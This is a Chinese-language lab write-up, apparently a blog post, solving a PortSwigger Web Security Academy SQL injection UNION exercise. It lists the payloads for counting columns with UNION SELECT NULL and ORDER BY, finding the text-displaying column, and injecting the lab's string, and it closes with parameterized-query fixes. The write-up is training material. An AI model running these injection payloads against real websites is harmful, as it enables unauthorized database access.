SQL 注入练习 03 | PortSwigger Web Security Academy - UNION 攻击:发现文本列

1.背景

     题目:Lab:SQL injection UNION attack,finding a column containing text

     链接SQL injection UNION attacks | Web Security Academy

     目标:通过UNION注入确定查询返回的列数,找到能够回显字符串的列,并让页面成功显示指定的随机字符串。

2.原理

  1. UNION的两个硬性要求:查询列数和类型兼容
  2. 用NULL是因为NULL可以转换为任何数据类型
  3. NULL只保证不报错,但不会在页面上产生可见内容。要找到"能显示字符串的列",需要把某一列换成字符串(如'a'),观察页面哪里多出了这个字符——页面上出现a的那一列,就是兼容字符串的显示位
  4. 'a'字符串值,必须加单引号username这类是列名,不能加单引号

3.攻击步骤

     Step 1:确认注入点

       点分类链接,确认URL里有?category=Pets,说明这个参数可控。

     Step 2:确定列数

       法1:用UNION SELECT NULL递增探测列数

        在category参数里依次尝试

        1列Gifts'+UNION+SELECT+NULL--+报错

        2列Gifts'+UNION+SELECT+NULL,NULL--+报错

        3列Gifts'+UNION+SELECT+NULL,NULL,NULL--+页面正常

        4列Gifts'+UNION+SELECT+NULL,NULL,NULL,NULL--+报错(验证)

     法2:用ORDER BY探测(更快)

        Gifts'+ORDER+BY+1--+→正常

        Gifts'+ORDER+BY+2--+→正常

        Gifts'+ORDER+BY+3--+→正常

        Gifts'+ORDER+BY+4--+→报错→说明列数为3

     结论一致:原查询返回3列ORDER BY只观察"是否报错",反馈更直接,因此比UNION NULL递增更快。

     Step 3:找到兼容字符串的列

       将某一列替换为字符串'a',逐列试探(其余列用NULL占位):

        第1列放'a'Gifts'+UNION+SELECT+'a',NULL,NULL--+页面无a出现

        第2列放'a'Gifts'+UNION+SELECT+NULL,'a',NULL--+有a出现

        第3列放'a'Gifts'+UNION+SELECT+NULL,NULL,'a'--+

     结论第2列为字符串显示位

     Step 4:让实验室随机值出现在页面上

       将'a'替换为实验室顶部提供的随机字符串(假设为IPvqdb),保持放在第2列:

        Gifts'+UNION+SELECT+NULL,'IPvqdb',NULL--+

       页面正常返回且出现IPvqdb实验已解决

4.修复方案

     1.UNION攻击的修复方式与上一道相同:使用参数化查询。无论是WHERE子句注入还是UNION注入,只要把用户输入当作数据传,结构就无法改变。

     2.对于需要动态拼接SQL的场景,应该限制用户输入的格式,不要让任意字符串进入SQL。

5.反思

     通过逐列将字符串替换NULL并观察是否报错(判断类型兼容)和是否回显(判断显示位),以试错方式定位目标列。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值